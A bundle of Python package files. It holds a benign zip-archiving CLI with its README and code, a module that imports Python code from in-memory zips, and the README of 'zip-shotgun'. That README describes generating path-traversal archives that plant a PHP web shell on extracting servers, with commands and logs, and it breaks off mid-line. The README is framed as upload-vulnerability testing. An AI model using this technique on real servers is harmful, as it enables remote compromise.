emailing: .. code-block:: shell zip-files -a -o report.zip ./report2020-01.tex /scratch/project/plots/*.pdf creates a file ``report.zip`` that unzips as a folder ``report`` containing the file ``report2020-01.tex`` and all the pdf files originally in ``/scratch/project/plots/``. .. code-block:: shell zip-files -f report2020-01 -o report.zip ./report2020-01.tex /scratch/project/plots/*.pdf does the same, but unzips as a folder ``report2020-01`` instead of ``report``. Development of zip-files happens on `Github`_. Installation ------------ To install the latest released version of zip-files, run this command in your terminal: .. code-block:: shell pip install zip_files This is the preferred method to install zip-files, as it will always install the most recent stable release. It will result in the executable commands ``zip-files`` and ``zip-folder`` being added to your environment's ``bin`` folder. .. _Github: https://github.com/goerz/zip_files Usage ----- zip-files ~~~~~~~~~ .. code-block:: console Usage: zip-files [OPTIONS] [FILES]... Create a zip file containing FILES. Options: -h, --help Show this message and exit. --version Show the version and exit. --debug Activate debug logging. -f, --root-folder ROOT_FOLDER Folder name to prepend to FILES inside the zip file. -c, --compression [stored|deflated|bzip2|lzma] Zip compression method. The following methods are available: "stored": no compression; "deflated": the standard zip compression method; "bzip2": BZIP2 compression method (part of the zip standard since 2001); "lzma": LZMA compression method (part of the zip standard since 2006). [default: deflated] -a, --auto-root If given in combination with --outfile, use the stem of the OUTFILE (without path and extension) as the value for ROOT_FOLDER -x, --exclude GLOB_PATTERN Glob-pattern to exclude. This is matched from the right against all paths in the zip file, see Python pathlib's Path.match method. This option can be given multiple times. -X, --exclude-from FILE File from which to read a list of glob- patterns to exclude, cf. --exclude. Each line in FILE is one pattern. This option can be given multiple times. --exclude-dotfiles / --include-dotfiles Whether or not to include dotfiles in the zip files. By default, dotfiles are included. --exclude-vcs / --include-vcs Whether or not to include files and directories commonly used by version control systems. (Git, CVS, RCS, SCCS, SVN, Arch, Bazaar, Mercurial, and Darcs), e.g. '.git/', '.gitignore' '.gitmodules' '.gitattributes' for Git. By default, VCS are included. --exclude-git-ignores / --include-git-ignores Whether or not to look for .gitignore files and to process them for exclude patterns. Note that the .gitignore file itself is still included in the zip archive unless --exclude-vcs is given. By default, .gitignore files are not processed. -o, --outfile OUTFILE The path of the zip file to be written. By default, the file is written to stdout. zip-folder ~~~~~~~~~~ .. code-block:: console Usage: zip-folder [OPTIONS] FOLDER Create a zip file containing the FOLDER. Options: -h, --help Show this message and exit. --version Show the version and exit. --debug Activate debug logging. -f, --root-folder ROOT_FOLDER Folder name to use as the top level folder inside the zip file (replacing FOLDER). -c, --compression [stored|deflated|bzip2|lzma] Zip compression method. The following methods are available: "stored": no compression; "deflated": the standard zip compression method; "bzip2": BZIP2 compression method (part of the zip standard since 2001); "lzma": LZMA compression method (part of the zip standard since 2006). [default: deflated] -a, --auto-root If given in combination with --outfile, use the stem of the OUTFILE (without path and extension) as the value for ROOT_FOLDER -x, --exclude GLOB_PATTERN Glob-pattern to exclude. This is matched from the right against all paths in the zip file, see Python pathlib's Path.match method. This option can be given multiple times. -X, --exclude-from FILE File from which to read a list of glob- patterns to exclude, cf. --exclude. Each line in FILE is one pattern. This option can be given multiple times. --exclude-dotfiles / --include-dotfiles Whether or not to include dotfiles in the zip files. By default, dotfiles are included. --exclude-vcs / --include-vcs Whether or not to include files and directories commonly used by version control systems. (Git, CVS, RCS, SCCS, SVN, Arch, Bazaar, Mercurial, and Darcs), e.g. '.git/', '.gitignore' '.gitmodules' '.gitattributes' for Git. By default, VCS are included. --exclude-git-ignores / --include-git-ignores Whether or not to look for .gitignore files and to process them for exclude patterns. Note that the .gitignore file itself is still included in the zip archive unless --exclude-vcs is given. By default, .gitignore files are not processed. -o, --outfile OUTFILE The path of the zip file to be written. By default, the file is written to stdout.
zip-files
/zip_files-0.4.1.tar.gz/zip_files-0.4.1/README.rst
README.rst
import logging import click __all__ = ['DependsOn', 'activate_debug_logger', 'help_from_cmd'] class DependsOn(click.Option): """A custom click option that depends on other options.""" def __init__(self, *args, **kwargs): self.depends_on = kwargs.pop('depends_on') self.incompatible_with = kwargs.pop('incompatible_with', []) super().__init__(*args, **kwargs) def handle_parse_result(self, ctx, opts, args): """Parse command line options (callback).""" if self.name in opts: if self.depends_on not in opts: raise click.UsageError( "%s requires %s" % ( self._fmt_opt(self.name), self._fmt_opt(self.depends_on), ) ) for name in self.incompatible_with: if name in opts: raise click.UsageError( "%s is incompatible with %s" % (self._fmt_opt(self.name), self._fmt_opt(name)) ) return super().handle_parse_result(ctx, opts, args) @staticmethod def _fmt_opt(name): """'auto_root' -> '--auto-root'.""" return "--" + name.replace("_", "-") def activate_debug_logger(): """Global logger used when running from command line.""" logging.basicConfig( format='(%(levelname)s) %(message)s', level=logging.DEBUG ) def help_from_cmd(cmd): """Create a function to look up help from click `cmd`. The returned function takes a string `name` and returns the help text for the option with given `name` from the click-command `cmd`. This help with having the same options in multiple commands without having to repeat the documentation. """ def _help(name): # pragma: no cover """Help text for the given option in `cmd`.""" for p in cmd.params: if p.name == name: if p.help is None: raise ValueError("No help text available for %r" % name) return p.help raise ValueError("Unknown option: %r" % name) return _help
zip-files
/zip_files-0.4.1.tar.gz/zip_files-0.4.1/src/zip_files/click_extensions.py
click_extensions.py
from pathlib import Path from zipfile import ZIP_BZIP2, ZIP_DEFLATED, ZIP_LZMA, ZIP_STORED import click from . import __version__ from .backend import zip_files as _zip_files from .click_extensions import DependsOn, activate_debug_logger __all__ = [] _COMPRESSION = { # possible values for --compression 'stored': ZIP_STORED, 'deflated': ZIP_DEFLATED, 'bzip2': ZIP_BZIP2, 'lzma': ZIP_LZMA, } @click.command() @click.help_option('--help', '-h') @click.version_option(version=__version__) @click.option('--debug', is_flag=True, help="Activate debug logging.") @click.option( '--root-folder', '-f', metavar='ROOT_FOLDER', help="Folder name to prepend to FILES inside the zip file.", ) @click.option( '--compression', '-c', type=click.Choice(list(_COMPRESSION.keys()), case_sensitive=False), default='deflated', show_default=True, help=( "Zip compression method. The following methods are available: " '"stored": no compression; ' '"deflated": the standard zip compression method; ' '"bzip2": BZIP2 compression method (part of the zip standard since ' '2001); ' '"lzma": LZMA compression method (part of the zip standard since ' '2006).' ), ) @click.option( '--auto-root', '-a', cls=DependsOn, depends_on='outfile', incompatible_with=['root_folder'], is_flag=True, help=( "If given in combination with --outfile, use the stem of the OUTFILE " "(without path and extension) as the value for ROOT_FOLDER" ), ) @click.option( '--exclude', '-x', multiple=True, metavar='GLOB_PATTERN', help=( "Glob-pattern to exclude. This is matched from the right against all " "paths in the zip file, see Python pathlib's Path.match method. " "This option can be given multiple times." ), ) @click.option( '--exclude-from', '-X', multiple=True, metavar="FILE", type=click.Path(exists=True), help=( "File from which to read a list of glob-patterns to exclude, cf. " "--exclude. Each line in FILE is one pattern. " "This option can be given multiple times." ), ) @click.option( '--exclude-dotfiles/--include-dotfiles', default=False, help=( "Whether or not to include dotfiles in the zip files. " "By default, dotfiles are included." ), ) @click.option( '--exclude-vcs/--include-vcs', default=False, help=( "Whether or not to include files and directories commonly used by " "version control systems. (Git, CVS, RCS, SCCS, SVN, Arch, " "Bazaar, Mercurial, and Darcs), e.g. '.git/', '.gitignore' " "'.gitmodules' '.gitattributes' for Git. " "By default, VCS are included." ), ) @click.option( '--exclude-git-ignores/--include-git-ignores', default=False, help=( "Whether or not to look for .gitignore files and to process them " "for exclude patterns. Note that the .gitignore file itself is still " "included in the zip archive unless --exclude-vcs is given. " "By default, .gitignore files are not processed." ), ) @click.option( '--outfile', '-o', metavar='OUTFILE', help=( "The path of the zip file to be written. By default, the file is " "written to stdout." ), ) @click.argument('files', nargs=-1, type=click.Path(exists=True, readable=True)) def zip_files( debug, auto_root, root_folder, compression, exclude, exclude_from, exclude_dotfiles, exclude_vcs, exclude_git_ignores, outfile, files, ): """Create a zip file containing FILES.""" if debug: activate_debug_logger() files = [Path(f) for f in files] if auto_root: root_folder = Path(outfile).stem _zip_files( debug=debug, root_folder=root_folder, compression=_COMPRESSION[compression.lower()], exclude=exclude, exclude_from=exclude_from, exclude_dotfiles=exclude_dotfiles, exclude_vcs=exclude_vcs, exclude_git_ignores=exclude_git_ignores, outfile=outfile, files=files, )
zip-files
/zip_files-0.4.1.tar.gz/zip_files-0.4.1/src/zip_files/zip_files.py
zip_files.py
from pathlib import Path import click from . import __version__ from .backend import zip_files as _zip_files from .click_extensions import DependsOn, activate_debug_logger, help_from_cmd from .zip_files import _COMPRESSION, zip_files __all__ = [] _help = help_from_cmd(zip_files) @click.command() @click.help_option('--help', '-h') @click.version_option(version=__version__) @click.option('--debug', is_flag=True, help=_help('debug')) @click.option( '--root-folder', '-f', metavar='ROOT_FOLDER', help=( "Folder name to use as the top level folder inside the zip file " "(replacing FOLDER)." ), ) @click.option( '--compression', '-c', type=click.Choice(list(_COMPRESSION.keys()), case_sensitive=False), default='deflated', show_default=True, help=_help('compression'), ) @click.option( '--auto-root', '-a', cls=DependsOn, depends_on='outfile', incompatible_with=['root_folder'], is_flag=True, help=_help('auto_root'), ) @click.option( '--exclude', '-x', multiple=True, metavar='GLOB_PATTERN', help=_help('exclude'), ) @click.option( '--exclude-from', '-X', multiple=True, metavar="FILE", type=click.Path(exists=True), help=_help('exclude_from'), ) @click.option( '--exclude-dotfiles/--include-dotfiles', default=False, help=_help('exclude_dotfiles'), ) @click.option( '--exclude-vcs/--include-vcs', default=False, help=_help('exclude_vcs'), ) @click.option( '--exclude-git-ignores/--include-git-ignores', default=False, help=_help('exclude_git_ignores'), ) @click.option('--outfile', '-o', metavar='OUTFILE', help=_help('outfile')) @click.argument( 'folder', nargs=1, type=click.Path(file_okay=False, exists=True, readable=True), ) def zip_folder( debug, auto_root, root_folder, compression, exclude, exclude_from, exclude_dotfiles, exclude_vcs, exclude_git_ignores, outfile, folder, ): """Create a zip file containing the FOLDER.""" if debug: activate_debug_logger() files = Path(folder).iterdir() if root_folder is None: root_folder = Path(folder).name if auto_root: root_folder = Path(outfile).stem _zip_files( debug=debug, root_folder=root_folder, compression=_COMPRESSION[compression.lower()], exclude=exclude, exclude_from=exclude_from, exclude_dotfiles=exclude_dotfiles, exclude_vcs=exclude_vcs, exclude_git_ignores=exclude_git_ignores, outfile=outfile, files=files, )
zip-files
/zip_files-0.4.1.tar.gz/zip_files-0.4.1/src/zip_files/zip_folder.py
zip_folder.py
import logging import os import random import re from pathlib import Path from string import ascii_letters from zipfile import ZipFile, ZipInfo import click try: # Python > 3.6 from re import Pattern as RegexPattern except ImportError: # Python 3.6 from typing import Pattern as RegexPattern __all__ = ['zip_files'] _VCS_EXCLUDES = [ 'CVS/*', 'RCS/*', 'SCCS/*', '.git/*', '.gitignore', '.gitmodules', '.gitattributes', '.cvsignore', '.svn/*', '.arch-ids/*', '{arch}/*', '=RELEASE-ID', '=meta-update', '=update', '.bzr', '.bzrignore', '.bzrtags', '.hg', '.hgignore', '.hgrags', '_darcs', ] def gitignore_to_regex(prefix, pattern): """Convert a gitignore glob `pattern` into a regex string. See https://git-scm.com/docs/gitignore for the glob-style syntax that gitignore uses. The resulting regex will only match strings that start with `prefix` (a path string for a folder in which the `pattern` applies) """ logger = logging.getLogger(__name__) # while the gitignore always uses forward-slashes as path separators, the # pathnames the regex must match does not: we have to use a # platform-dependent path separator in the regex we produce sep = re.escape(os.path.sep) # Normalize the pattern pattern = pattern.strip() if pattern.endswith("\\"): # did we strip off '\ '? pattern = pattern + " " if "/" not in pattern[:-1]: # > A leading "**" followed by a slash means match in all # > directories. For example, "**/foo" matches file or directory # > "foo" anywhere, the same as pattern "foo" # That is, we can prepend "**/" without changing semantics pattern = "**/" + pattern if pattern.endswith("/"): # > If there is a separator at the end of the pattern then the pattern # > will only match directories, otherwise the pattern can match both # > files and directories. # However, "matching a directory" is equivalent to matching all # directories/files within it, so we can apend "**" without chaning # semantics pattern = pattern + "**" # Process all special characters in gitignore-style glob patterns. replacements = [ # map glob-patterns to equivalent regex # A leading "**" followed by a slash means match in all directories (re.compile(r'^\*\*/'), rf'(?:.*{sep})?'), # A trailing "/**" matches everything inside (re.compile(r'/\*\*$'), rf'{sep}.*$'), # A slash followed by two consecutive asterisks then a slash matches # zero or more directories (re.compile(r'/\*\*/'), rf'(?:{sep}[^{sep}]+)*{sep}?'), # An asterisk "*" matches anything except a slash. (re.compile(r'\*'), rf'[^{sep}]+'), # The character "?" matches any one character except "/" (path sep) (re.compile(r'\?'), rf'[^{sep}]'), # The character "/" is a path separator, independent of platform (re.compile(r'/'), sep), # The range notation, e.g. [a-zA-Z], can be used to match one of the # characters in a range. -- handled below, since it doesn't have a # fixed replacement. ] # Anything that involves a special regex character needs to be "protected": # we replace it with a random ascii-string and create a map of which regex # pattern the protected string should restored as protected_replacements = [] protected_pattern = pattern for (rx, repl) in replacements: for glob_expr in rx.findall(pattern): prot_key = ''.join(random.choices(ascii_letters, k=32)) protected_replacements.append((prot_key, repl)) protected_pattern = protected_pattern.replace(glob_expr, prot_key) for range_expr in re.findall(r'\[.*?\]', pattern): # [A-Za-z], [cod] prot_key = ''.join(random.choices(ascii_letters, k=32)) protected_replacements.append((prot_key, range_expr)) protected_pattern = protected_pattern.replace(range_expr, prot_key) # un-protect the pattern regex_pattern = re.escape(protected_pattern) for (prot_key, repl) in protected_replacements: regex_pattern = regex_pattern.replace(re.escape(prot_key), repl) if regex_pattern.startswith(sep): # strip of any leading `sep` so as to not conflict with the `sep` we # insert between prefix and pattern below regex_pattern = regex_pattern[len(sep) :] # To complete the regex, we anchor it with the prefix and allow trailing # subfolders/files regex = "^" + re.escape(prefix) + sep + regex_pattern + rf'(?:{sep}.*)?$' # fmt: off logger.debug( "Translating normalized gitignore pattern %r with prefix %r to " "regex %r:", pattern, prefix, regex, ) # fmt: on return regex def _get_single_gitignore_excludes(gitignore, relative_to, root_folder): """Return a list of excludes from the given .gitignore file. Args: gitignore (pathlib.Path): The location of the .gitignore file relative_to (pathlib.Path): The path to which `gitignore` (and the patterns therein) should be made relative root_folder (pathlib.Path): A folder to prepend to all "absolute" patterns. """ if root_folder is None: root_folder = Path(".") with gitignore.open() as in_fh: exclude = [] folder = gitignore.relative_to(relative_to).parent prefix = root_folder / folder for line in in_fh: if line.startswith("#") or line.strip() == "": # .gitignore files may contain comments continue if line.startswith("!"): click.echo( "WARNING: Negated pattern %s in %s will be ignored" % (line.strip(), gitignore), err=True, ) continue regex = gitignore_to_regex(str(prefix), line) exclude.append(re.compile(regex)) return exclude def _get_gitignore_excludes(path, root_folder, relative_to): """Return a list of excludes from all .gitignore files found in `path`.""" exclude = [] if path.is_dir(): for gitignore in path.glob('**/.gitignore'): exclude += _get_single_gitignore_excludes( gitignore, root_folder=root_folder, relative_to=relative_to ) elif path.name == ".gitignore": exclude += _get_single_gitignore_excludes( path, root_folder=root_folder, relative_to=relative_to ) return exclude def zip_files( debug, root_folder, compression, exclude, exclude_from, exclude_dotfiles, exclude_vcs, exclude_git_ignores, outfile, files, ): """Compress list of `files`. Args: debug (bool): Whether to show debug logging. root_folder (Path or None): folder name to prepend to `files` inside the zip archive compression (int): Zip compression. One of :obj:`zipfile.ZIP_STORED` :obj:`zipfile.ZIP_DEFLATED`, :obj:`zipfile.ZIP_BZIP2`, :obj:`zipfile.ZIP_LZMA` exclude (list[str]): A list of glob patterns to exclude. Matching is done from the right on the path names inside the zip archive. Patterns must be relative (not start with a slash) exclude_from (list[str]): A list of filenames from which to read exclude patterns (one pattern per line) exclude_dotfiles (bool): If given as True, exclude all files starting with a dot. exclude_vcs (bool): If given as True, exclude files and directories used by common version control systems (Git, CVS, RCS, SCCS, SVN, Arch, Bazaar, Mercurial, and Darcs), e.g. '.git/', '.gitignore' '.gitmodules' '.gitattributes' for Git exclude_git_ignores (bool): If given as True, exclude files listed in any '.gitignore' in the given `files` or its subfolders. outfile (Path): The path of the zip file to be written files (Iterable[Path]): The files to include in the zip archive """ logger = logging.getLogger(__name__) if debug: logger.setLevel(logging.DEBUG) logger.debug("Enabled debug output") files = list(files) # generator->list, so we can consume it multiple times logger.debug("root_folder: %s", root_folder) logger.debug("Writing zip file to %s", outfile) if outfile is None or outfile == '--': logger.debug("Routing output to stdout (from %r)", outfile) outfile = click.get_binary_stream('stdout') exclude = list(exclude) # make a copy for file in exclude_from: logger.debug("Reading exclude patterns from: %s", file) with open(file) as in_fh: exclude += in_fh.read().splitlines() if exclude_vcs: exclude += _VCS_EXCLUDES if exclude_git_ignores: for path in files: exclude += _get_gitignore_excludes( path, root_folder=root_folder, relative_to=path.parent ) if len(exclude) > 0: logger.debug("Using effective excludes: %r", (exclude,)) with ZipFile(outfile, mode='w', compression=compression) as zipfile: for file in files: _add_to_zip( zipfile, file, root_folder, exclude, exclude_dotfiles, relative_to=file.parent, compression=compression, ) logger.debug("Done") def _add_to_zip( zipfile, file, root_folder, exclude, exclude_dotfiles, relative_to, compression, ): """Recursively add the `file` to the (open) `zipfile`.""" logger = logging.getLogger(__name__) if file.is_file(): if root_folder is None: filename = file.relative_to(relative_to) else: filename = root_folder / file.relative_to(relative_to) data = file.read_bytes() if exclude_dotfiles and filename.stem.startswith("."): logger.debug("Skipping %s (exclude dotfiles)", filename) return for pattern in exclude: if isinstance(pattern, RegexPattern): if pattern.match(str(filename)): logger.debug( "Skipping %s (exclude RX %r)", filename, pattern.pattern, ) return elif isinstance(pattern, str): if filename.match(pattern): logger.debug( "Skipping %s (exclude pattern %r)", filename, pattern ) return else: raise TypeError("Invalid type for pattern %r" % pattern) logger.debug("Adding %s to zip as %s", file, filename) zinfo = ZipInfo.from_file(file, arcname=str(filename)) zinfo.compress_type = compression zipfile.writestr(zinfo, data) elif file.is_dir(): directory = file for file_in_dir in directory.iterdir(): _add_to_zip( zipfile, file_in_dir, root_folder, exclude, exclude_dotfiles, relative_to, compression, )
zip-files
/zip_files-0.4.1.tar.gz/zip_files-0.4.1/src/zip_files/backend.py
backend.py
# zip_import - 推荐(最新的版本) ```bash pip install https://github.com/cn-kali-team/zip_import/archive/master.zip ``` - 内存加载Python模块 ```python import io import sys import zipfile from zip_import import ZipPathFinder def _get_zip(path, password=None): with open(path, "rb") as f: zip_bytes = io.BytesIO(f.read()) zip_instantiation = zipfile.ZipFile(zip_bytes) if password is not None: zip_instantiation.setpassword(pwd=bytes(str(password), 'utf-8')) return zip_instantiation sys.meta_path.append( ZipPathFinder(zip_path='zip://pocsuite3.zip', zip_ins=_get_zip(path='pocsuite3.zip', password="11"))) import pocsuite3 print(dir(pocsuite3)) ``` - zip_path随意字符串,zip_ins是zipfile.ZipFile返回的实例化对象
zip-import
/zip_import-0.0.1.tar.gz/zip_import-0.0.1/README.md
README.md
import sys import types from importlib.abc import SourceLoader, PathEntryFinder from importlib.machinery import ModuleSpec # 加载单文件 class ModuleLoader(SourceLoader): def __init__(self, zip_ins, zip_path): self.zip_path = zip_path self._zip = zip_ins self._source_cache = {} def create_module(self, spec): """这边只要调用父类的实现即可.""" mod = sys.modules.setdefault(spec.name, types.ModuleType(spec.name)) mod.__file__ = self.get_filename(spec.name) mod.__loader__ = self mod.__package__ = spec.name.rpartition('.')[0] return mod def exec_module(self, module): """在_post_import_hooks中查找对应模块中的回调函数并执行.""" code = self.get_code(module.__name__) exec(code, module.__dict__) def _get_zip_code(self, filename): zip_path_c = self._zip.comment.decode() return self._zip.open(filename[len(zip_path_c) + 1:]).read().decode('utf-8') def get_code(self, fullname): src = self.get_source(fullname) return compile(src, self.get_filename(fullname), 'exec') def get_data(self, path): pass def get_filename(self, fullname): return self.zip_path + '.py' def get_source(self, fullname): filename = self.get_filename(fullname) if filename in self._source_cache: return self._source_cache[filename] try: source = self._get_zip_code(filename) self._source_cache[filename] = source return source except KeyError as e: raise ImportError("Can't load %s" % filename) def is_package(self, fullname): return False # 加载库 class PackageLoader(ModuleLoader): def create_module(self, spec): mod = super().create_module(spec) mod.__path__ = [self.zip_path] mod.__package__ = spec.name return mod def get_filename(self, fullname): return self.zip_path + '/' + '__init__.py' def is_package(self, fullname): return True class ZipPathFinder(PathEntryFinder): """查找zip中的模块.""" def __init__(self, zip_path: str, zip_ins): self._paths = None self._zip_path = zip_path zip_ins.comment = zip_path.encode() self._zip = zip_ins def find_spec(self, fullname, paths=None, target=None): if self._paths is None: self._paths = [] self._paths = self._zip.namelist() spec = None if fullname.replace(".", "/") + '/__init__.py' in self._paths: full_uri = self._zip_path + '/' + fullname.replace(".", "/") try: loader = PackageLoader(self._zip, full_uri) loader.load_module(fullname) spec = ModuleSpec(fullname, loader, origin=paths) except ImportError as ie: spec = None except Exception as e: spec = None elif fullname.replace(".", "/") + '.py' in self._paths: full_uri = self._zip_path + '/' + fullname.replace(".", "/") try: loader = ModuleLoader(self._zip, full_uri) spec = ModuleSpec(fullname, loader, origin=paths) except ImportError as ie: spec = None except Exception as e: spec = None else: pass return spec def invalidate_caches(self): # warnings.warn("invalidating link cache", UserWarning) self._paths = None # import 某个模块 # | # | # 遍历sys.meta_path # | # |---有执行<finder>.find_spec()后返回非None的---------| # | |- 使用<finder>.find_spec()返回的spec对象生成模块 # 执行<finder>.find_spec()后返回的都为None # | # | # 遍历sys.path # | # | # 检查sys.path_importer_cache上有没有各个path对应的finder缓存--有finder缓存---| # | |-使用<finder>.find_spec()返回的spec对象生成模块 # | # 没有缓存 # | # 遍历sys.path_hooks # | # 执行其中的可执行对象,直到获得返回值为finder的终止 --------------------| # | |-将这个finder设为这个path的缓存finder # | | # | |-使用<finder>.find_spec()返回的spec对象生成模块 # 没有一个找到finder-----抛出ModuleNotFoundError
zip-import
/zip_import-0.0.1.tar.gz/zip_import-0.0.1/zip_import/zip_import.py
zip_import.py
# ZIP Shotgun Utility script to test zip file upload functionality (and possible extraction of zip files) for vulnerabilities. Idea for this script comes from this post on [Silent Signal Techblog - Compressed File Upload And Command Execution](https://blog.silentsignal.eu/2014/01/31/file-upload-unzip/) and from [OWASP - Test Upload of Malicious Files](https://www.owasp.org/index.php/Test_Upload_of_Malicious_Files_%28OTG-BUSLOGIC-009%29) This script will create archive which contains files with "../" in filename. When extracting this could cause files to be extracted to preceding directories. It can allow attacker to extract shells to directories which can be accessed from web browser. Default webshell is wwwolf's PHP web shell and all the credit for it goes to WhiteWinterWolf. Source is available [HERE](https://github.com/WhiteWinterWolf/wwwolf-php-webshell) ### Installation 1. Install using Python pip ```pip install zip-shotgun --upgrade``` 2. Clone git repository and install ```git clone https://github.com/jpiechowka/zip-shotgun.git``` Execute from root directory of the cloned repository (where setup.py file is located) ```pip install . --upgrade``` ### Usage and options ``` Usage: zip-shotgun [OPTIONS] OUTPUT_ZIP_FILE Options: --version Show the version and exit. -c, --directories-count INTEGER Count of how many directories to go back inside the zip file (e.g 3 means that 3 files will be added to the zip: shell.php, ../shell.php and ../../shell.php where shell.php is the name of the shell you provided or randomly generated value [default: 16] -n, --shell-name TEXT Name of the shell inside the generated zip file (e.g shell). If not provided it will be randomly generated. Cannot have whitespaces -f, --shell-file-path PATH A file that contains code for the shell. If this option is not provided wwwolf (https://github.com/WhiteWinterWolf/wwwolf- php-webshell) php shell will be added instead. If name is provided it will be added to the zip with the provided name or if not provided the name will be randomly generated. --compress Enable compression. If this flag is set archive will be compressed using DEFALTE algorithm with compression level of 9. By default there is no compression applied. -h, --help Show this message and exit. ``` ### Examples 1. Using all default options ```zip-shotgun archive.zip``` Part of the script output ``` 12/Dec/2018 Wed 23:13:13 +0100 | INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip 12/Dec/2018 Wed 23:13:13 +0100 | WARNING | Shell name was not provided. Generated random shell name: BCsQOkiN23ur7OUj 12/Dec/2018 Wed 23:13:13 +0100 | WARNING | Shell file was not provided. Using default wwwolf's webshell code 12/Dec/2018 Wed 23:13:13 +0100 | INFO | Using default file extension for wwwolf's webshell: php 12/Dec/2018 Wed 23:13:13 +0100 | INFO | --compress flag was NOT set. Archive will be uncompressed. Files will be only stored. 12/Dec/2018 Wed 23:13:13 +0100 | INFO | Writing file to the archive: BCsQOkiN23ur7OUj.php 12/Dec/2018 Wed 23:13:13 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: BCsQOkiN23ur7OUj.php 12/Dec/2018 Wed 23:13:13 +0100 | INFO | Writing file to the archive: ../BCsQOkiN23ur7OUj.php 12/Dec/2018 Wed 23:13:13 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../BCsQOkiN23ur7OUj.php 12/Dec/2018 Wed 23:13:13 +0100 | INFO | Writing file to the archive: ../../BCsQOkiN23ur7OUj.php 12/Dec/2018 Wed 23:13:13 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../BCsQOkiN23ur7OUj.php ... 12/Dec/2018 Wed 23:13:13 +0100 | INFO | Finished. Try to access shell using BCsQOkiN23ur7OUj.php in the URL ``` 2. Using default options and enabling compression for archive file ```zip-shotgun --compress archive.zip``` Part of the script output ``` 12/Dec/2018 Wed 23:16:13 +0100 | INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip 12/Dec/2018 Wed 23:16:13 +0100 | WARNING | Shell name was not provided. Generated random shell name: 6B6NtnZXbXSubDCh 12/Dec/2018 Wed 23:16:13 +0100 | WARNING | Shell file was not provided. Using default wwwolf's webshell code 12/Dec/2018 Wed 23:16:13 +0100 | INFO | Using default file extension for wwwolf's webshell: php 12/Dec/2018 Wed 23:16:13 +0100 | INFO | --compress flag was set. Archive will be compressed using DEFLATE algorithm with a level of 9 ... 12/Dec/2018 Wed 23:16:13 +0100 | INFO | Finished. Try to access shell using 6B6NtnZXbXSubDCh.php in the URL ``` 3. Using default options but changing the number of directories to go back in the archive to 3 ```zip-shotgun --directories-count 3 archive.zip``` ```zip-shotgun -c 3 archive.zip``` The script will write 3 files in total to the archive Part of the script output ``` 12/Dec/2018 Wed 23:17:43 +0100 | INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip 12/Dec/2018 Wed 23:17:43 +0100 | WARNING | Shell name was not provided. Generated random shell name: 34Bv9YoignMHgk2F 12/Dec/2018 Wed 23:17:43 +0100 | WARNING | Shell file was not provided. Using default wwwolf's webshell code 12/Dec/2018 Wed 23:17:43 +0100 | INFO | Using default file extension for wwwolf's webshell: php 12/Dec/2018 Wed 23:17:43 +0100 | INFO | --compress flag was NOT set. Archive will be uncompressed. Files will be only stored. 12/Dec/2018 Wed 23:17:43 +0100 | INFO | Writing file to the archive: 34Bv9YoignMHgk2F.php 12/Dec/2018 Wed 23:17:43 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: 34Bv9YoignMHgk2F.php 12/Dec/2018 Wed 23:17:43 +0100 | INFO | Writing file to the archive: ../34Bv9YoignMHgk2F.php 12/Dec/2018 Wed 23:17:43 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../34Bv9YoignMHgk2F.php 12/Dec/2018 Wed 23:17:43 +0100 | INFO | Writing file to the archive: ../../34Bv9YoignMHgk2F.php 12/Dec/2018 Wed 23:17:43 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../34Bv9YoignMHgk2F.php 12/Dec/2018 Wed 23:17:43 +0100 | INFO | Finished. Try to access shell using 34Bv9YoignMHgk2F.php in the URL ``` 4. Using default options but providing shell name inside archive and enabling compression Shell name cannot have whitespaces ```zip-shotgun --shell-name custom-name --compress archive.zip``` ```zip-shotgun -n custom-name --compress archive.zip``` Name for shell files inside the archive will be set to the one provided by the user. Part of the script output ``` 12/Dec/2018 Wed 23:19:12 +0100 | INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip 12/Dec/2018 Wed 23:19:12 +0100 | WARNING | Shell file was not provided. Using default wwwolf's webshell code 12/Dec/2018 Wed 23:19:12 +0100 | INFO | Using default file extension for wwwolf's webshell: php 12/Dec/2018 Wed 23:19:12 +0100 | INFO | --compress flag was set. Archive will be compressed using DEFLATE algorithm with a level of 9 12/Dec/2018 Wed 23:19:12 +0100 | INFO | Writing file to the archive: custom-name.php 12/Dec/2018 Wed 23:19:12 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: custom-name.php 12/Dec/2018 Wed 23:19:12 +0100 | INFO | Writing file to the archive: ../custom-name.php 12/Dec/2018 Wed 23:19:12 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../custom-name.php 12/Dec/2018 Wed 23:19:12 +0100 | INFO | Writing file to the archive: ../../custom-name.php 12/Dec/2018 Wed 23:19:12 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: ../../custom-name.php 12/Dec/2018 Wed 23:19:12 +0100 | INFO | Writing file to the archive: ../../../custom-name.php ... 12/Dec/2018 Wed 23:19:12 +0100 | INFO | Finished. Try to access shell using custom-name.php in the URL ``` 5. Provide custom shell file but use random name inside archive. Set directories count to 3 ```zip-shotgun --directories-count 3 --shell-file-path ./custom-shell.php archive.zip``` ```zip-shotgun -c 3 -f ./custom-shell.php archive.zip``` Shell code will be extracted from user provided file. Names inside the archive will be randomly generated. Part of the script output ``` 12/Dec/2018 Wed 23:21:37 +0100 | INFO | Opening output zip file: REDACTED\zip-shotgun\archive.zip 12/Dec/2018 Wed 23:21:37 +0100 | WARNING | Shell name was not provided. Generated random shell name: gqXRAJu1LD8d8VKf 12/Dec/2018 Wed 23:21:37 +0100 | INFO | File containing shell code was provided: REDACTED\zip-shotgun\custom-shell.php. Content will be added to archive 12/Dec/2018 Wed 23:21:37 +0100 | INFO | Getting file extension from provided shell file for reuse: php 12/Dec/2018 Wed 23:21:37 +0100 | INFO | Opening provided file with shell code: REDACTED\zip-shotgun\custom-shell.php 12/Dec/2018 Wed 23:21:37 +0100 | INFO | --compress flag was NOT set. Archive will be uncompressed. Files will be only stored. 12/Dec/2018 Wed 23:21:37 +0100 | INFO | Writing file to the archive: gqXRAJu1LD8d8VKf.php 12/Dec/2018 Wed 23:21:37 +0100 | INFO | Setting full read/write/execute permissions (chmod 777) for file: 